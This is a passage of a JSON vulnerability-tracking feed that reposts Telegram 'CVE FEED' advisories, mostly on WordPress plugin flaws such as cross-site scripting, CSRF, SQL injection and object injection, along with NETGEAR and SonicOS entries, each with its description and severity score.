Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:10.000000Z"}, {"uuid": "4f41923b-777d-4870-855d-1ca33caffb2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12407", "type": "seen", "source": "https://t.me/cvedetector/15045", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12407 - WordPress Push Notification for Post and BuddyPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12407 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'pushnotificationid' parameter in all versions up to, and including, 2.06 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:09.000000Z"}, {"uuid": "a53e6b87-f49e-4092-9ad4-90ff5fa89fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://t.me/cvedetector/15042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12877 - GiveWP - Donation Plugin and Fundraising Platform PHP Object Injection and Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12877 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.19.2 via deserialization of untrusted input from the donation form like 'firstName'. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to delete arbitrary files on the server that makes remote code execution possible. Please note this was only partially patched in 3.19.3, a fully sufficient patch was not released until 3.19.4. However, another CVE was assigned by another CNA for version 3.19.3 so we will leave this as affecting 3.19.2 and before. We have recommended the vendor use JSON encoding to prevent any further deserialization vulnerabilities from being present. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:07.000000Z"}, {"uuid": "6a500519-1bdc-4115-bc41-49f5f880b566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12587", "type": "seen", "source": "https://t.me/cvedetector/15036", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12587 - Contact Form Master WordPress XSS\", \n  \"Content\": \"CVE ID : CVE-2024-12587 \nPublished : Jan. 11, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Contact Form Master  WordPress plugin through 1.0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T08:13:56.000000Z"}, {"uuid": "11293226-a80c-4429-aca5-f7fe9d8b1593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://t.me/cvedetector/15031", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12204 - WooCommerce Coupon X Unauthenticated Access Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12204 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The Coupon X: Discount Pop Up, Promo Code Pop Ups, Announcement Pop Up, WooCommerce Popups plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on several functions in the class-cx-rest.php file in all versions up to, and including, 1.3.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create 100% off coupons, delete posts, delete leads, and update coupon statuses. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:26.000000Z"}, {"uuid": "3d5d7f59-fde1-4dfe-83c7-92bb65958f92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12627", "type": "seen", "source": "https://t.me/cvedetector/15028", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12627 - WooCommerce Popups PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12627 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The Coupon X: Discount Pop Up, Promo Code Pop Ups, Announcement Pop Up, WooCommerce Popups plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.3.5 via deserialization of untrusted input from post content passed to the capture_email AJAX action. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:21.000000Z"}, {"uuid": "5d047cc4-0184-4b89-b85a-4d5bd15febf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12505", "type": "seen", "source": "https://t.me/cvedetector/15027", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12505 - WordPress Trackserver Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12505 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The Trackserver plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tsmap' shortcode in all versions up to, and including, 5.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:20.000000Z"}, {"uuid": "3a510ebb-c0bf-4d83-8a20-76146a344f19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://t.me/cvedetector/14995", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12847 - NETGEAR DGN1000 Remote Root Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12847 \nPublished : Jan. 10, 2025, 8:15 p.m. | 39\u00a0minutes ago \nDescription : NETGEAR DGN1000 before 1.1.00.48 is vulnerable to an authentication bypass vulnerability. A remote and unauthenticated attacker can execute arbitrary operating system commands as root by sending crafted HTTP requests to the setup.cgi endpoint. This vulnerability has been exploited in the wild since at least 2017. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T22:12:00.000000Z"}, {"uuid": "481ef2ee-db06-43a8-960c-2042f080e171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12473", "type": "seen", "source": "https://t.me/cvedetector/14949", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12473 - \"AI Scribe SQL Injection Vulnerability in WordPress Plugin\"\", \n  \"Content\": \"CVE ID : CVE-2024-12473 \nPublished : Jan. 10, 2025, 4:15 a.m. | 42\u00a0minutes ago \nDescription : The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to SQL Injection via the 'template_id' parameter of the 'article_builder_generate_data' shortcode in all versions up to, and including, 2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T06:19:10.000000Z"}, {"uuid": "c06c75d4-369d-4f67-8b92-81472aae38d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12606", "type": "seen", "source": "https://t.me/cvedetector/14948", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12606 - \"AI Scribe - WordPress Plugin Data ModificationPrivilege Escalation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12606 \nPublished : Jan. 10, 2025, 4:15 a.m. | 42\u00a0minutes ago \nDescription : The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the engine_request_data() function in all versions up to, and including, 2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update plugin settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T06:19:10.000000Z"}, {"uuid": "ca407c09-8d81-4f6f-ba23-bfc43fff255e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://t.me/cvedetector/14783", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12736 - WordPress BU Section Editing Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12736 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The BU Section Editing WordPress plugin through 0.9.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:07.000000Z"}, {"uuid": "6f17a40c-7b9c-4ff4-897a-aadb5c675f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://t.me/cvedetector/14820", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12805 - SonicOS Format String Vulnerability (Crash/RCE)\", \n  \"Content\": \"CVE ID : CVE-2024-12805 \nPublished : Jan. 9, 2025, 8:15 a.m. | 40\u00a0minutes ago \nDescription : A post-authentication format string vulnerability in SonicOS management allows a remote attacker to crash a firewall and potentially leads to code execution. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T10:14:09.000000Z"}, {"uuid": "110e898b-c06e-4b1e-910d-5584a7e5e1a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://t.me/cvedetector/14788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12714 - Apache Backlink Monitoring Manager Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12714 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The Backlink Monitoring Manager WordPress plugin through 0.1.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:14.000000Z"}, {"uuid": "1fca4a53-2a23-44ec-a0ee-5014965c6d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://t.me/cvedetector/14658", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12585 - Property Hive WordPress XSS Governance Failure\", \n  \"Content\": \"CVE ID : CVE-2024-12585 \nPublished : Jan. 8, 2025, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The Property Hive WordPress plugin before 2.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T08:17:24.000000Z"}, {"uuid": "e03cb2d3-a093-4087-8a18-370d917adcb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12713", "type": "seen", "source": "https://t.me/cvedetector/14650", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12713 - WordPress SureForms Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12713 \nPublished : Jan. 8, 2025, 4:15 a.m. | 29\u00a0minutes ago \nDescription : The SureForms \u2013 Drag and Drop Form Builder for WordPress plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.2 via the handle_export_form() function due to a missing capability check. This makes it possible for unauthenticated attackers to export data from password protected, private, or draft posts that they should not have access to. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T05:46:57.000000Z"}, {"uuid": "e012399f-363a-4626-aefa-c35775478869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12493", "type": "seen", "source": "https://t.me/cvedetector/14841", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12493 - WordPress Files Download Delay Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12493 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Files Download Delay plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'fddwrap' shortcode in all versions up to, and including, 1.0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:52.000000Z"}, {"uuid": "8e794772-570a-4bf1-9bba-e2db608e7e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://t.me/cvedetector/14840", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12491 - SimplyRETS Real Estate IDX WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12491 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The SimplyRETS Real Estate IDX plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sr_search_form' shortcode in all versions up to, and including, 2.11.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:51.000000Z"}, {"uuid": "147f618c-84af-449f-bd4f-1a577c244960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12394", "type": "seen", "source": "https://t.me/cvedetector/14839", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12394 - Action Network (WordPress) CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12394 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Action Network plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.4. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:51.000000Z"}, {"uuid": "99745fc4-3a1e-4ce7-9659-4a01a6ae2b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12717", "type": "seen", "source": "https://t.me/cvedetector/14781", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12717 - Aklamator INfeed WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12717 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The Aklamator INfeed WordPress plugin through 2.0.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:06.000000Z"}, {"uuid": "b7ff8a4d-03d6-4a5b-a456-9a2b559e84bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12616", "type": "seen", "source": "https://t.me/cvedetector/14838", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12616 - Bitly WordPress Plugin Unauthenticated Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12616 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Bitly's WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX actions in all versions up to, and including, 2.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and retrieve plugin settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:50.000000Z"}, {"uuid": "640240b4-d64e-4fe4-9926-19a964d1e0ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12330", "type": "seen", "source": "https://t.me/cvedetector/14842", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12330 - Backup for WP WordPress Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12330 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The WP Database Backup \u2013 Unlimited Database & Files Backup by Backup for WP plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.3 via publicly accessible back-up files. This makes it possible for unauthenticated attackers to extract sensitive data including all information stored in the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:56.000000Z"}, {"uuid": "2791f87b-c6af-4cb8-afe0-ae3edaa29aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12222", "type": "seen", "source": "https://t.me/cvedetector/14846", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12222 - Shipos for WooCommerce Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12222 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Deliver via Shipos for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018dvsfw_bulk_label_url\u2019 parameter in all versions up to, and including, 2.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:59.000000Z"}, {"uuid": "0306b956-7337-440c-961d-7fccc439d544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12218", "type": "seen", "source": "https://t.me/cvedetector/14845", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12218 - Woocommerce Shipping Plugin CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12218 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Woocommerce check pincode/zipcode for shipping plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.4. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:59.000000Z"}, {"uuid": "fb111cde-348a-4690-beb5-06c2c6d1e9e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12206", "type": "seen", "source": "https://t.me/cvedetector/14844", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12206 - WordPress Pearl Header Builder CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12206 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The WordPress Header Builder Plugin \u2013 Pearl plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.8. This is due to missing or incorrect nonce validation on the stm_header_builder page. This makes it possible for unauthenticated attackers to delete arbitrary headers via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:58.000000Z"}, {"uuid": "252a81db-c691-4169-9c1b-db1a65fbc9fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12496", "type": "seen", "source": "https://t.me/cvedetector/14843", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12496 - \"WordPress Linear Plugin Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12496 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Linear plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'linear_block_buy_commissions' shortcode in all versions up to, and including, 2.7.12 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:57.000000Z"}, {"uuid": "9586cff2-c0e2-4ef1-9d32-2e7c2aeb50d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12112", "type": "seen", "source": "https://t.me/cvedetector/14649", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12112 - WordPress Easy Form Builder Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12112 \nPublished : Jan. 8, 2025, 4:15 a.m. | 29\u00a0minutes ago \nDescription : The Easy Form Builder \u2013 WordPress plugin form builder: contact form, survey form, payment form, and custom form builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter of the 'add_form_Emsfb' AJAX action in all versions up to, and including, 3.8.8 due to insufficient input sanitization and output escaping and missing authorization checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T05:46:57.000000Z"}, {"uuid": "fd4ffadd-398d-45a4-a259-de01b8a5855f", "vulnerability_lookup_origin": 